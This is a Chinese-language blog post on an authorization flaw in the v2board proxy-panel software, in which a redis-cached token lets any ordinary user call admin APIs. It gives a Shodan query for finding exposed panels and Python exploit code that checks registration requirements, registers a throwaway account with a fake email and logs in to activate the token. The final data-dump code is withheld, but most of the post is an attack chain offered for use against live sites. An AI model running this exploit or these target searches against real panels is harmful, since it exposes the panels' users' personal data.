前几天爆发的v2board机场面板漏洞,泄露了大量机场用户的数据。简单看了下,原理挺简单的,就是authorization使用redis缓存后没有对普通用户和管理员做鉴权。以普通用户登录成功后可以直接请求管理员的接口。
文章目录
Shodan 搜索语法
http.html:"/theme/v2board/assets/"
代码如下:
def check_verify():
"""
判断目标注册是否需要邮箱、邀请验证
"""
path = '/api/v1/guest/comm/config'
url = f"{target}{path}".replace('//api','/api')
resp = s.get(url,headers=headers).json()['data']
if not resp['is_invite_force'] and not resp['is_email_verify']:
print(f"[+]目标无需邮箱验证,可直接获取权限")
elif resp['is_invite_force']:
print(f"[-]目标需要邀请注册,无法获取权限!")
exit(0)
elif resp['is_email_verify']:
print("目标需要获取邮箱验证码才能进一步利用!")
exit(0)
注册账号并登录
对于没有邮箱验证的后台,可以使用任意伪造的邮箱进行注册,注册成功后会返回auth_data。
def registry_acc():
"""
随机注册账号,并返回auth_data
"""
rand_num = str(random.random())[8:]
QQ_mail = rand_num + '@qq.com'
passwd = rand_num
data = {
'email': QQ_mail,
'password': passwd,
'invite_code': '',
'email_code': ''
}
path = '/api/v1/passport/auth/register'
url = f"{target}{path}".replace('//api','/api')
r = s.post(url,headers=headers,data=data)
if r.status_code == 200:
print(f"[+]当前随机注册的账号为{QQ_mail},密码为{passwd}")
return QQ_mail,passwd
else:
print(f"[-]目标已关闭账号注册!")
exit(0)
登录账号将authorization写入redis缓存
这个是很重要的一步,为漏洞代码的判断逻辑。注意登录后需要请求/user/info接口才能使authorization生效。
def login(email,passwd):
"""
登录后需要请求/user/info接口才能使authorization生效
"""
data = {
'email': email,
'password': passwd
}
path = '/api/v1/passport/auth/login'
url = f"{target}{path}".replace('//api','/api')
r = s.post(url, headers=headers, data=data)
if r.status_code == 200:
print('[+]账号登录成功!')
auth_data = r.json()['data']['auth_data']
headers['authorization'] = auth_data
s.get(f'{target}/api/v1/user/info', headers=headers)
return auth_data
else:
print('[-]账号登录失败!')
exit(0)
获取管理员接口数据
这部分就是把敏感的管理接口数据给dump下来,代码就不放了。利用如下:
还没有评论,来说两句吧...